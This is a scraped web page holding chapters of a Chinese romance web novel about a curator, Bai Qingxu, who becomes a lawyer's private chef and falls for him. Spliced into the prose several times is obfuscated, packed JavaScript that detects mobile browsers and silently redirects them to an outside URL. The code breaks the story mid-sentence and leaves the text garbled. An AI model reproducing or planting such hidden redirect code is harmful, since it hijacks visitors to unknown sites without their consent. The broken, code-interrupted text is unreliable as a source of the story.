$(''#content'').append('' 此刻,暮色早已敛尽,映着点点星光的夜幕下,一辆黑色保时捷在柏油马路上疾驰着。 刚才,给白清许打电话的人不是别人,而是她好朋友程千帆的女儿,宋书书。 程千帆是白清许在意大利读书时的同门师姐,虽然两个人隔了好几届,但因为特别聊得来,再加上各自都很欣赏彼此的才气,因此感情好得堪比亲姐妹。 大学毕业之后,程千帆便结了婚,然后在家相夫教子,现在有一儿一女,儿子叫宋景,女儿叫宋书书。 白清许到的时候,程千帆家里的门开着,因此她是未见其人,先闻其声。 “书书,你听哥哥的,我们都跟爸爸好不好,爸爸会给你买漂亮的裙子,漂亮的洋娃娃,还会让你住大房子......” “呜呜呜书书不要,书书不要漂亮裙子和洋娃娃,书书要妈妈,”小姑娘坐在沙发上,小手抹着眼睛,边哭边说,“爸爸坏,哥哥也坏,你们都惹妈妈哭......” 虽然白清许早就听不下去了,但面对宋书书,她还是尽全力克制住心中的怒气,语气温柔地叫了一声:“书书。” 看到她来,小姑娘像是找到了可以依靠的力量,瞬间哭得更大声了:“干妈......” “来,”白清许在她面前半蹲下来,朝她伸开双手,“干妈抱抱。” 把小姑娘从沙发上抱起来之后,白清许轻拍着她的背,安抚着她的情绪,然后,转身看着宋景,冷声质问:“你刚说那话什么意思?” 她语气轻飘飘,但望过来的目光实在是太过狠厉,让宋景心里直发憷。 白清许又走近一步:“你想跟着谁走,那是你的自由,没人能拦得住你,但你说那些话是什么意思?” 十来岁,正是好面子的年纪,哪经得起这样的质问。 宋景憋着一口气,瞪着眼睛回:“我说错了么,我让书书跟我们走,也是为了她更好的生活,这个家都是我爸赚的钱,我妈又不赚钱。” 此话一出,气氛莫名地,沉静了片刻。 白清许是真没想到,宋景能说出这样的话,而且还是这样直白地说出。 她明显是被震惊到了,目光猛地一愣。 怔愣过后,随之而来的,便是气愤。 看到她紧握的双手,一直在门外等候的顾锦泽走了进来,到她身边之后,与她配合默契地,抱过了她怀里的小姑娘。 说来也是神奇,一向认生的宋书书这次没哭也没闹,乖乖地让帅叔叔抱。 怀里没了软肋,白清许终于可以尽情亮剑。 “你觉得你妈妈不工作,不赚钱,在这个家里,就是没用的吗?”白清许看着宋景,咄咄逼人地问。 “你小时候生病,发烧发到叫都叫不醒,是谁陪你去的医院,是谁一夜没睡地抱着你一个晚上都没敢合眼!” “你长这么大,一日三餐是谁给你做的!” “你在学校被人欺负,是谁连围裙都不摘就去学校给你出头!” “当初生你的时候,是谁为了你,差点把命都给丢了!” 白清许越说越激动,音调也随之不受控制地拔高。 她不甘。 她真的不甘。 替程千帆不甘。 其实,这个社会怎么评价全职妈妈,不管是褒是贬,白清许并没有那么在意,毕竟嘴长在别人身上,她控制不了。 但她不能不在意,程千帆的儿子这么说。 也因此,听到这些话从宋景口中说出,她心里才会这么不甘。 她替程千帆不甘,她放弃大好事业,回归家庭,尽心尽力相夫教子,最后却落得这样的结局。 “你不小了,应该树立一些正常人类的三观了。”白清许说着,语气逐渐平静了下来。 因为,她忽然感觉,自己刚才那一通质问,就像是拳头打在了一团棉花上,有一种深深的无力感。 “全职妈妈不赚钱,并不等同于她们没有价值。” “你非要这么认为,那我也告诉你——”她看着他,语气不再咄咄逼人,但目光里的坚定丝毫未减, “即使是,她们也是无价之宝,而不是一文不值。” 5. 小酌 话音刚落,白清许一抬眸,便看到卧室的门打开,程千帆从里面走了出来。 她脸色平常,从中窥不见任何汹涌的愤怒,只有心如死灰的失望。 看到她,宋景下意识握紧了拳头,心虚地叫了声:“妈......” “跟你爸好好过,”程千帆语气不带任何温度地,强势截断他的话,“我就当——” “从来没有生过你。” 说完,便掠过他径直往外走:“清许,我们走。” 白清许立刻跟上她的步伐。 门外,顾锦泽抱着宋书书站在那里。 看到妈妈出来,书书宝贝心疼得赶紧伸手安慰:“妈妈不哭。” “好,妈妈不哭,”程千帆一边应着,一边朝抱着女儿的那个男人点了下头,用目光示意了自己的感谢,然后,朝宋书书伸出手,“来,妈妈抱。” 结果,任谁都没想到,宋书书听了这话,刚才伸出的手立刻收了回来,然后,紧紧搂上了顾锦泽的脖颈,相当善解人意地说:“妈妈累,让叔叔抱我。” 程千帆:“???” 这是谁生的小色迷? 哦,是我自己。 顾锦泽见状,倒是脾气极好地笑了声,说:“没事,我抱着。” 四个人一行下了电梯。 白清许看着顾锦泽怀里的干女儿,心中飘来五个字:妈的好羡慕! 小孩子嘛,情绪向来是来得快,去得也快。 这会儿,看到不再哭泣的妈妈,以及好久不见的干妈和帅叔叔,宋书书的心情就如这光线骤亮的电梯间一样,瞬间明媚了起来。 她兴致勃勃地抱着顾锦泽的脖子,看着白清许,用小奶音叫:“干妈。” 白清许侧过脸,看着她,音调扬起:“嗯?” 宋书书看着顾锦泽,问她:“这是我干爸吗?” 白清许:“???” 这...... 她很想是,但真不是。 看干妈没有说话,宋书书又看着顾锦泽,童言无忌地直接问:“你是我干爸吗?” 顾锦泽:“......” 再难打的官司,都没有当下这个问题难。 “他不是哦,书书可不能乱叫。”白清许赶紧说道。 “哦......”宋书书听了,悻悻地低下了头,过了会儿,看着抱着她的帅叔叔,她又轻轻叹了口气,好像对顾锦泽不是她干爸这件事特别失望。 白清许:“......” 不是吧,你干妈还没叹气,你叹啥气啊。 从电梯出来,顾锦泽开车把他们送了回去。 去往程千帆家的路上正好经过白清许家,白清许本来没想先下车,想着先把这母女俩送回去,她怎么回来都行,但程千帆不想让她以及她的朋友这么奔波,就跟顾锦泽说了这个情况,让他把车停在了路边,这样白清许就不得不下了。 车身停稳后,白清许一边解安全带一边说:“今天谢谢你了,顾律师。” 顾锦泽看了她一眼,淡淡一笑:“没事,举手之劳。” “那麻烦你把她们送回去了。” “放心,一定平安送到,”说完,顾锦泽又叮嘱道,“你路上小心。” “好,”白清许从车上下来,朝他们挥了挥手,“再见。” “再见。” 很快,车身重新汇入浓浓夜色。 白清许站在那里,看了好久。 直到那辆车彻底消失不见,她才不舍地收回了目光。 心想,这应该是他们最后一次见面了吧。 - 她的目光尽头,车身稳稳向远方行驶着。 车内此刻只剩下了三个人。 刚才,程千帆让白清许提前下车,固然有顺势而为的原因,但她也藏了些别的心思在。 十多年的朋友,再加上经历过恋爱和婚姻,因此,程千帆早已把白清许的那些小心思看得一清二楚。 她看向他时,那一盏倘恍又试探的目光,那一点雀跃又胆怯的打量,程千帆都看在眼里。 身为朋友,她不做因为自己一朝被蛇咬就让朋友十年怕井绳的缺德事。 她自己的婚姻失败,并不代表这世间就没有相伴到老的爱情。 “顾律师,”程千帆主动挑起了话题,“方便问一下你跟清许是怎么认识的吗?” 顾锦泽想了下,言简意赅地解释:“我跟她哥哥合作过。” 程千帆又问:“那你们今天怎么一起过来了?” 顾锦泽答:“因为一些原因,她成了我的私厨。” “私厨啊,”程千帆拖长尾音,循序渐进道,“那你觉得我们清许的手艺怎么样?” 虽然没吃,但顾锦泽还是说:“很好。” “她可不止厨艺好,”程千帆不动声色地引出自己的真正目的,“我们清许,可是个哪哪儿都好的斜杠青年。” 斜杠青年。 这个概念顾锦泽倒是知道,特指那群不再局限于单一职业、而是拥有多重职业和身份的人。 “她主业是一名创意策展人,上半年名声大噪的那几场展览都是她那个工作室策划的,”程千帆不动声色地跟他讲述,“除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265967|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此之外,她还是衔青的首席签约设计师,看不出来吧?” 这个头衔倒是让顾锦泽有些许的意外。 衔青,英文名Leaf,是意大利的一个厨具品牌,至今已有百年历史,被誉为厨具中的爱马仕,但与高价格相匹配的是完美的做工,以及充满温情和创意的设计,衔青将寻常物品设计成了令人爱不释手的艺术品,因此,虽然贵,但就是有人买单。 “那她做私厨是......?”顾锦泽问。 “这纯粹是她的爱好,她喜欢研究美食,不过,她一般不会给人当私厨的,应该是受人所托吧。” 顾锦泽听了,若有所思地点了点头。 二十分钟后,他平安把她们母女两人送到了所住的小区楼下,不算短的一段路程过去,宋书书已经在程千帆怀里睡熟了,因此两个人连再见都说得轻言轻语。 看她们下了车,顾锦泽都准备掉头回去了,但是看着她们的背影,想起刚才的那一幕,他还是忍不住下车叫住了程千帆。 等她转过身,他才斟酌好语气,开口问道:“程小姐,有句话不知当讲不当讲,如果需要,您就考虑考虑,如果不需要,您就当我问这个问题是冒犯了。” 程千帆茫然地看着他:“请说。” 顾锦泽直言道:“如果您需要离婚律师,我可以帮您介绍,价格方面您不用担心。” 身为一名律师,虽然并不是主攻婚姻法,但他对女性,尤其是全职妈妈在婚姻关系中的弱势了解得一清二楚。 女方为家庭尽心尽力,甚至抛弃了自己的大好事业,这份付出,跟在外打拼比起来,有过之而无不及。 但是这样的付出,在法律关系中太难量化,女性在这样的博弈中,太多处于不利地位。 没想到会收获这样热心的提议,程千帆问他:“你我素昧平生,为什么要帮我?” 听到她这么问,顾锦泽目光顿了顿,但没立刻作答。 最后,还是程千帆不想耽误他太多时间,才自行接上了话头:“谢谢你的好意,不过不用了,清许已经帮我找好了律师。” 听到这儿,顾锦泽在心底微微琢磨了下,抬眸,就着落下来的稀薄月色问道:“那我能再冒昧地问一下,白清许的母亲,是颜筝律师吗?” “是啊,”程千帆应道,“你认识?” “当然,”顾锦泽笑了下,语气温柔地回,“那可是,大名鼎鼎的前辈。” 今晚多云,月光躲在厚重的云层背后,因此并不算明亮。 程千帆却明显看到了,他在听到这个肯定答案时,瞬间放柔的一盏目光。 6. 小酌 回到家,顾锦泽才发现餐桌上摆放着一顿早已做好的、色香味俱全的晚餐。 番茄肉酱意大利面,配上澄亮的时蔬汤,旁边还有一份清透滑溜的虾仁蒸蛋。 这些美味都被盛在极具设计感的餐盘里,看起来极为赏心悦目。 顾锦泽看着,本能先于理智动作,拉开餐椅,在餐桌前坐了下来。 这么长时间过去,餐早已放凉,但口感丝毫不减,依然细腻到无可挑剔。 其实他不怎么爱吃西餐,准确地说,是他对吃什么这件事,从根上就没有太大的热情,但这次,他却坐在那里,没处理工作,也没接打电话,而是安安静静地吃完了这餐饭。 吃完饭,把餐具往洗碗机里放的时候,顾锦泽这才发现自己厨房多了好几套衔青的厨具,不用想都知道这肯定是白清许添的。 这份厨具的钱,他肯定得另外支付给白清许。 结果,这晚一别,白清许就像是从人间消失了一样,顾锦泽再也没有见过她。 时间就这样一天天的过去,顾锦泽依然过着忙碌又自律的生活。 一切看似一如往常,但每天下班回家,看着空荡荡的餐桌,他总会觉得,好像少了些什么。 某个工作日,他和徐滨松正好一前一后忙完,就一起吃了个午餐。 徐滨松看他一个185的大男人,吃了两口就放下了筷子,睨他一眼,戏谑道:“我说你是个男的吗,就吃这么点?真不知道你这肌肉是怎么长的。” 顾锦泽喉结滚动了下,不留情面地说:“做的不好吃。” 徐滨松听了,抬头看了眼大名鼎鼎的金字招牌,心想你没事吧? 百年老字号,你说不好吃? 看出他费解的眼神,顾锦泽解释说:“没人情味。” 听到这么个理由,徐滨松没忍住笑了,嗤他:“我以前怎么没发现你这么矫情,想吃出人情味,自己做去。” “算了,你还是别自己做了,”徐滨松觉得这方法太不靠谱,“我怕到时候上了法庭,原告你自己,被告还是你自己。” 潜台词,暗讽他做的饭,能自己把自己毒死。 顾锦泽:“......” 不过,调侃归调侃,但这么多年的交情在,两个人关系好得堪比亲兄弟,因此,徐滨松比谁都希望,他可以从过往的那段感情里真正走出来,收获属于自己的幸福。 他看着眼前这个钻石单身顾老五,觉得这人不谈恋爱真的是浪费。 于是,旁敲侧击地提醒:“或者,找女朋友给你做去,当然,前提是人家得心甘情愿。” 说完,徐滨松又语气欠欠地推翻道:“不对不对,前提是你得先有女朋友。” 顾锦泽:“......” 我他妈是来吃饭的,不是来扎心的。 他实在是听不下去了,动作利落地站了起来,然后,转身就往外走:“记得买单。” 徐滨松:“......” 得,不该嘴欠的,本来是想蹭饭的,结果还白搭进去一顿饭钱。 得不偿失啊得不偿失。 回到办公室,想到徐滨松刚才说的那番话,顾锦泽抬手揉了揉太阳穴。 说实话,他有点看不懂自己了。 看不懂自己,为什么在听到他那番话的时候,脑海里会浮现出她的名字。 一面之缘而已,充其量算是两面之缘吧,不应该啊。 至少,在他心中,所有能渗入日常的回忆,一定要有漫长的时间打头阵。 算了,不想了,还是先把厨具的钱还了吧。 打开手机,顾锦泽才后知后觉地发现,他并没有白清许的微信。 不过,要个她的联系方式应该并不是什么难事。 最直接的办法,问郑雪柔。 不过,一问就暴露了。 问白清让? 这......有点不合适吧。 最后,想了想,顾锦泽采取就近原则,直接去了池漾办公室。 毕竟,池漾的先生席砚卿,正是白清许的表哥。 池漾刚跟客户吃过工作午餐,正忙着修改合同细节,看到顾锦泽进来,递给了他一个眼神,然后又低下头去忙自己的事情,意思是有话就说,她听着。 问题是,顾锦泽进来之后,是这儿转转又那儿看看,但一句话都没说。 等池漾都把手头工作忙完了,还没听到他的声音,于是,主动开了口:“顾老板,有什么事儿您尽管吩咐。” 顾锦泽这才轻咳两声,以一种看似自然实则是相当不自然的语气跟她唠家常:“最近挺好的?” 没想到他在这儿转悠这么久,就是为了问这个,池漾虽然不理解他这是个什么操作,但还是如实道:“挺好的。” 顾锦泽又问:“工作挺好的?” “挺好的。” “家里也挺好的?” “挺好的啊。” 顾锦泽:“席砚卿家里也挺好的吧?” 池漾:“???” 这什么情况? “挺好的。” 顾锦泽:“他家里人,也挺好的吧?” 池漾:“???” 察觉到自己越问越逾距,顾锦泽及时收住了话题,佯装自然地从座椅上站了起来:“没事,我就是随便问问,现在不是都讲究人性化管理么,家庭和睦有利于提高工作效率,行,那你忙吧。” 池漾:“......” 骗谁呢他。 等他快要走到门口了,池漾才像想起什么一样,突然出声叫住了他:“等一下。” 顾锦泽顿住脚步,转过身,然后,他就看到池漾拿出手机翻着通讯录,找到一个号码拨了过去,等接通的时候,跟他说: “你听我接个电话。” - 那句话怎么说来着,情场失意,职场得意。 爱情的私厨之路走不通后,白清许将一门心思都放在了与[见我]的合作上。 这次,他们合作的动漫,名叫《月亮都晒屁股啦!》,与电影《长大辛苦了,小朋友》是同个制作团队。 白清许作为其中的一抹新鲜血液,算是成功跨了一次界。 该剧走的是温馨治愈风,讲述了一个在大城市奋斗的女孩,在下班之后卸下疲惫、自我疗愈的故事。 作为主创团队的一员,白清许和整个主创团队一同参与了剧本研读会,编剧林洛希依然稳定发挥,台词戳心,情节流畅又细腻。 再加上[见我]一众主笔的激情创造和成熟制作,更让她笔下的故事如虎添翼。 尤其是白清许和应如是的合作,更是称得上珠联璧合。 因为这部剧的定位是美食番,所以美食的创作就显得尤为重要,两人合作画出的每一道美食,不管是制作过程还是最终成果,都可爱治愈到不行。 其实,当初白清许之所以一口应下这门差事,除了她对[见我]公司的信任和欣赏,还有一个私人原因,那就是她是漫画家应如是的粉丝。 应如是,笔名悠悠,漫画《叮咚!您点的乌龙面已送达!》和《敢梦人》的主笔,这两则漫画讲述了一个女追男的有趣故事。 白清许已经把这部漫画看了不知道多少遍,熟悉到甚至能背出其中的对话,每次看完,都会觉得整个世界都明媚了起来。 再加上两人此次的默契合作,因此便迅速熟络了起来。 知道应如是会跆拳道,白清许想起那次被人撂倒在地的窘境,便跟她一起学起了跆拳道,至于应如是,看过白清许跳街舞的视频之后,直接被她给帅炸了,让她教自己跳街舞。 再加上廖清杉最近在国外出差,应如是回家也没什么事,于是就每天晚上都和白清许约着出去。 渐渐地,公司里掀起了一门“歪风邪气”,“清悠cp”就此应运而生: 【啊啊啊御姐和甜妹,我真的磕疯了!】 【集美们!私下磕私下磕!】 【对对对私下磕!别忘了甜妹已有忍者神哥!】 【哈哈哈楼上你唱rap呢。】 【小心丢工作哈,臭屁公主和夸夸乐王子官配不可拆!重要的事情在心里默念三遍!】 【咱就是弱弱问一句,画同人漫画,让[见我]出版,有可能没?】 【你把同人那两个字去掉或许还有可能。】 同事们磕得快快乐乐,至于当事人,也是学习得快快乐乐。 不知不觉,到了廖清杉回来的日子,两个人练完舞,在舞室洗了个澡,然后一身清爽地坐在落地窗前的椅子上休息。 白清许先坐下,应如是见状,身子一躺,舒舒服服地把头枕在了她腿上。 白清许穿着一身黑,长发如瀑般散落在身后,素面朝天,又飒又帅。 不过,落下来的目光却温柔得很。 她看着应如是,笑着问她:“你的夸夸乐王子要出差回来了?” 应如是:“嗯呐!” “那你快回去吧。” “没事,他还得一会儿才到呢,正好我再陪陪你。” 说完,沉默片刻,应如是又叫她:“清许宝贝。” “嗯?” “你最近好像有点不开心啊。” “啊?” “我看你一直看某个帅哥的照片失神呀。” “......” “我怎么看那个男生那么像顾律师啊?” “你认识他?”说完,白清许觉得他这样被迫爆红的“网络红人”,被她认识不奇怪。 “我确实认识他,”应如是说,“不过不是从电视上看到的。” “嗯?” “你不知道吧,蓝仲是星辰文化的合作律所,[见我]是星辰文化的子公司,所以,你要是需要,我可以给你创造机会哦。” 没想到还有这样一层关系,这要是最开始,白清许肯定激动得很,但现在,她心里有些无波无澜地说:“不用了。” “嗯?” “他对我没意思。” “你怎么知道他对你没意思?” 然后,白清许就把她闺蜜费尽周折给她找到了一个接近他的机会,给他当私厨,结果,他直接跟她说她不用来了的事情。 “这......”应如是本来是侧着躺的,听完这个故事,立刻在她腿上转了个身,正面看向白清许,瞪着大眼睛,不可思议地问,“这你就放弃了?” 这爱情长征还没开始走呢,就放弃了? 白清许听了,苦笑一声:“悠悠宝贝,你以为谁都像你一样啊?” 那么可爱,那么勇敢,那么机灵,那么讨人喜欢。 以及,那么......会钓人。 白清许自认自己不是个胆怯的人,尤其在追求梦想方面,她甚至有和白令湛对抗的勇气。 但在爱情方面,她没有经验,试探一次、主动一次便是她最大的勇气,如果不行,她便会全身而退。 白清许:“那他对我没意思,我可不就得放弃吗?” 应如是:“......” “我说白老师,你怎么这么不会把握机会呀,都因公负伤了,还不赶紧趁着自己受伤赶紧‘讹’他一笔,”应如是说着,语气里竟然带了一丝恨铁不成钢,“你就应该跟他说,我这身体都受伤了,你还忍心把我辞退,让我的心灵也受伤吗?” 白清许:“???” 还能这样? “对了,”应如是又说,“他不是还说不习惯有人打扰吗,你就应该说,习惯习惯,习惯都是培养的,你新习惯的培养,就包在我身上了。” 白清许:“???” 还能这样? “但我觉得——”白清许设想了那个场景,如实道,“他应该不吃这一套。” “你管他吃不吃,你只要让他接话,你就有更近一步和他交流的机会,这样吧,你设想一下,你觉得如果你那么说,他会如何拒绝你?” “我觉得......他可能会说,等下辈子吧。” 应如是循序渐进地问:“那这个时候你会怎么办?” 白清许:“我能怎么办,我跑呗。” “不,你要这么说——” 应如是眉眼一弯,娇羞地捂起了嘴巴,一副欲语还休的样子,“下辈子?你竟然还想跟我有下辈子?没想到你比我还深情,那好吧,我就勉为其难地接受你的深情好了。” 白清许:“???” 卧槽? 还能这样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我跟你说啊,”应如是娓娓道来地跟她讲道理,“感情这种事情都是需要争取的,有些男人的性格就是这样,他们不是对你没有好感,也不是不会主动,他们就是刚开始比较慢热,所以,你要给他营造一种‘你命里,注定有我’的感觉。” 白清许认认真真地听着。 “所以,你就尽情施展你的魅力,性感的、美丽的、酷飒的、温柔的,挨个上啊,他肯定吃其中一种。” “然后,等他深陷你的魅力无法自拔,到时候就是他跟你分不开啦!” “悠悠宝贝!从今往后,你就是我白清许的爱情导师!” “得嘞!”应如是贼有信心地拍了拍胸脯,“放心,我一定帮你把你男人追到手。” 就这样,两个人又多了一层别样的师生关系。 “实在不行,”应如是说,“我还有最后一记绝招。” “什么?” 应如是抬手,示意她耳朵凑过来,跟她说了一句悄悄话,白清许一听,耳朵瞬间就红了。 “悠悠,那你有没有想过——” “想过什么?” “就......万一追不上怎么办?”那岂不是会很尴尬,也会很挫败。 应如是对待这个问题,态度洒脱得很:“清许宝贝,要我说你这种心态就不对了啊,追不上就追不上了呗,咱们又不亏。” 白清许:“嗯?” “你看啊——”应如是掰着手指头,两只大眼睛又圆又亮,像个小老师一样,一本正经地跟她讲道理,“如果追上了,是我们赚了,心甘情愿抱得美男归;如果没追上,我们还是一样的漂亮、善良、自信和强大呀,我们又不会因为这些狗男人就放弃自己,所以,这可是一件稳赚不赔的买卖呢。” 白清许听了,重新梳理了一下这件事情的利弊关系,梳理完之后,恍然大悟地点了点头:“说的甚是。” 然后,两个小姑娘瞬间就笑开了。 门外,两个男人早已等候多时。 不过,鉴于女生之间总有悄悄话要说,所以两个人没有打扰,而是选择绅士地等在了门外。 直到白清许弯下腰来,听应如是说话,廖清杉便再也忍不住了,直接推门而入。 其实,他刚刚就有点不爽了。 尤其是看到白清许坐在那里,黑色夹克配黑色牛仔裤,帅的一批。 又想到他听过的cp,廖清杉那醋劲,也不知怎么的,说来就来了。 于是,走到两个人身边,跟白清许打了声招呼,就直接把应如是连人带包抱走了。 抱走之后,还忍不住阴阳怪气:“应悠悠,你是真会沾花惹草啊。” 应如是知道他说的是什么事,却还是装扮成一脸无辜的样子,故意跟他卖萌:“悠悠怎么啦?” “还装傻呢,”廖清杉眉眼微挑,“怎么?我怀里不能躺?” 应如是听了,眨巴着一双大眼睛,天真却笃定地回:“不能啊。” 廖清杉:“???” “应悠悠,我才是你的合法老公,我怀里怎么就不能躺了?” “因为我一躺,你总会硬……” 廖清杉:“???” 他就没见过比应如是还勇的人! “应如是,在外面呢,你给我收着点!” “你这人,自己做的事,还不让人说了?” 没什么人的舞蹈室,空荡安静,且回音效果极好,于是这一来一往的对话,悉数落进了落地窗前,那一坐一站的两个人的耳朵里。 有一段时间没见,白清许看到顾锦泽,不知为何,眼眶竟莫名有些热。 尤其是,他穿着黑风衣,目光笃定、大步朝她走来的时候,她会有一种感觉,那就是被他这样的人注视,是多值得庆幸的一件事。 除此之外,更会有一种错觉,那就是,他是为她而来。 所以,她的目光本来是去迎他的目光的。 结果,听到那则对话,不知怎么的,她上扬的目光莫名其妙就落了下来。 她坐他站。 因此,从她这个视线看过去,正好能看到他衬衫和西裤的分界线。 黑色风衣敞开着,可以清楚地看到内里穿搭。 白清许目光平视,看到一截黑色皮带扣住了他精瘦腰身,皮带上没有夸张logo,低调内敛,却又精简大气,黑色西裤下,隐隐看到一个被模糊盖住的诱人轮廓。 那一刻,白清许脑海里又开始播放弹幕: 硬? 哪硬? 怎么硬? 能有多硬? 7. 小酌 万幸的是,这次“开小差”并没有酿成太大的尴尬。 因为,几乎是瞬间,白清许就反应过来自己的着眼点非常不妥。 于是,知错就改,让目光立刻沿着最开始的轨迹上移。 也是这一移,让她以近在咫尺的距离,再次享受了一次视觉盛宴。 一件剪裁挺阔的黑色风衣,将他的气质衬得深邃雅致,气韵深长。 柔和灯光下,他鼻梁高挺,眼尾微垂,落下来的目光清亮又坚定。 和他的目光以近在咫尺的距离,再次对上之后,白清许赶紧从座位上站了起来,边站起边问候道:“顾律师。” 结果,这动作太快太猛,直接撞到了顾锦泽的下巴。 白清许觉得自己真是越急越错,连连道歉:“对不起对不起。” “没事,”顾锦泽低低笑了声,手掌轻柔地覆上她的头顶,“没撞着你吧?” “没有,”感受到他手掌的温度,白清许心思微微一动,平复了下心情,才抬眼看着他问,“你怎么在这儿?” 顾锦泽喉结滚动了下,云淡风轻地答:“工作。” 想到刚才应如是跟她说的合作律所,白清许觉得他出现在这儿合情合理,丝毫没怀疑,闷闷应了一声:“哦。” “你吃晚饭了吗?” “还没有。” “那我们一起去吃个晚饭?”说完,顾锦泽又合理化着自己请她吃饭的理由,“上次那件事情,一直想找个机会跟你说声对不起。” 听到他的邀约,再加上刚才刚被上了一课,于是,白清许脑海里立马条件反射地想出了“悠式恋爱哲学”的应对策略:“啊?我都差点被打了你才请我吃个晚饭啊,这回报有点太低了吧,这样吧,你就让我亲你一口吧。” 但是,纸上得来终觉浅,绝知此事不敢躬行啊! 这话,她暂时想想就得了,哪敢真的说出口啊。 于是,“悠式恋爱哲学”的初学者白清许面对这样一个邀约,最终还是落在了普普通通的一个字:“好。” 两个人去了一家私房菜,这家菜馆是预订制,老板是白清许的朋友,不过今天没在,所以两个人没能碰上面。 餐桌上,白清许根据对顾锦泽的了解,点了几样他喜欢的菜。 “白清许。”等上菜的功夫,顾锦泽叫她。 “嗯?” “我可以收回自己说过的话吗?” “哪句?”白清许有点懵。 “让你不再来我家那句。” “所以——”白清许品了下他这句话背后的意思,有些惊喜地向他确认,“你的意思是,想让我继续当你的私厨?” “嗯,”说完,顾锦泽又觉得自己这样出尔反尔挺不是个东西的,于是把主动权全权交到了她手里,“当然,前提是你愿意。” 白清许几乎是脱口而出:“我愿意!” 清浅柔和的灯光下,她看向他的眼睛忽然就亮了一下。 顾锦泽看着,心莫名一热,连带着,有点移不开眼了。 沉默片刻,他才继续说道:“早午餐就不用了,我一般都在公司吃,晚餐如果你有时间的话,过来可以吗?” 白清许:“可以。” 就这样,刚才还被爱情长征第一步绊倒的人,瞬间有了继续前行的勇气。 回到家之后,白清许便立刻把今天的新进展跟自己的爱情导师分享了。 应如是听了,甚是欣慰地回:【你看,我就说吧,我一个女的都抵挡不住你的魅力,何况他一个男的。】 白清许:【禁止捧杀。】 应如是:【哪有捧杀,清许宝贝,我跟你说哦,私厨这个身份真的是金手指,这金手指可不是谁都有的。】 至少,她应如是这辈子都不会有。 所以,她希望白清许能好好利用,毕竟这种直接打入心上人家里和胃部的机会,可谓是千载难逢。 想到这儿,她又按捺不住自己聪明的小脑袋瓜了。 应如是:【对了,你明天晚上做饭的菜买了吗?】 白清许:【没有。】 应如是:【那你可以让他跟你一起去超市买菜啊!】 白清许:【啊?这样不好吧,哪有让雇主亲自买菜的道理。】 应如是:【你管他道理不道理的,我就问你,你当私厨,是为了赚钱,还是钓男人!】 白清许:【当然是钓男人!】 应如是:【那你管他对你的工作满不满意,能钓到男人就行!】 白清许:【......】 应如是:【拜托!两个人一起逛烟火气十足的超市,这可是感情升温的大好机会啊!】 白清许:【可我以什么理由让他陪我去逛超市呢。】 应如是:【这理由还不好找,你就是,你工作忙,来不及买菜。】 白清许:【可他工作更忙。】 应如是:【那你就说,你明天车限号,买太多东西不方便拿。】 白清许:【但我车明天不限号啊。】 应如是:【......】 应如是:【那你就说,超市人太多,你抢不到菜。】 白清许:【可是现在网上买菜也挺方便的。】 应如是:【拜托!你怎么还自己给自己增加难度啊,从今往后,你的世界里,你比他更忙,车每天都在限号,以及没有网上买菜这个选项,懂?】 白清许:【懂了。】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265969|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >跟导师聊完,白清许便立刻将自己的所学付诸了实践。 她在对话框删删减减了不知道多少次,才终于将编辑好的信息给顾锦泽发了过去:【顾律师,有些事情我可能要跟你提前说下,明天我的车限号,再加上一整天的工作,下班还要去买菜,所以可能会耽误你的吃饭时间。】 顾锦泽:【没关系,你几点下班,我到时候去接你,和你一起去。】 白清许:“!!!” 啊啊啊我悠就是永远的神! - 这天晚上,白清许激动得后半夜才睡着。 再加上第二天高效率高节奏的工作,以至于她连等顾锦泽来接的那几分钟都撑不了,那脑袋就像小鸡啄米一样,一下又一下地往下栽。 越栽,睡意越沉;越栽,幅度越大。 可就在她幅度大得半边身子都快要栽下去的时候,一只温热宽厚的手掌及时出现,力道温柔地拖住了她的下颌。 于是,令人瞬间清醒的失重感并没有传来。 她在这双手的温柔托举下,回了片刻神,才懵懵懂懂地睁开了眼睛:“顾律师......” “嗯,是我,”看她醒来,顾锦泽无声地把手从她下颌收回,对着她的眼睛,诚恳道,“不好意思,让你久等了。” “没有吧,”白清许虽然不知道自己等了多久,也不知道现在是几点,但她就是莫名很自信他不会迟到,看了眼时间,他确实是没迟到,“你看,这离我们约定的时间还有五分钟呢。” 顾锦泽:“那你这么早下来干什么?” 白清许:“忙完了就下来了。” “现在还困吗?”顾锦泽问,“如果困的话,我就直接把你送回家。” “没事,”白清许一听这话立刻清醒了过来,“我就是一阵一阵的,现在已经不困了。” “那我们一起去超市?” “好。” 两个人这才并肩往外走。 此时正值黄昏时分,浓烈灿烂的夕阳透过巨大的落地窗,大大方方地落了进来,送给每一个归家者,秋季限定的昂贵披肩。 顾锦泽看着那抹夕阳,温温柔柔地叫:“白清许。” 她侧眸去看他侧脸:“嗯?” “能跟你商量个事儿吗?” “什么?” “以后能别叫我顾律师么,我不想下班了还有一种在上班的感觉。” “那我叫你什么?” 顾锦泽听了,没回答,而是选择把这问题重新抛给了她:“你觉得呢?” 也不知道是不是深受“悠式恋爱哲学”的洗脑,白清许想了下他们的雇佣关系,看着他,不假思索,脱口而出了一句: “主人?” 8. 小酌 啊啊啊啊白清许你他妈到底在说什么东西啊! 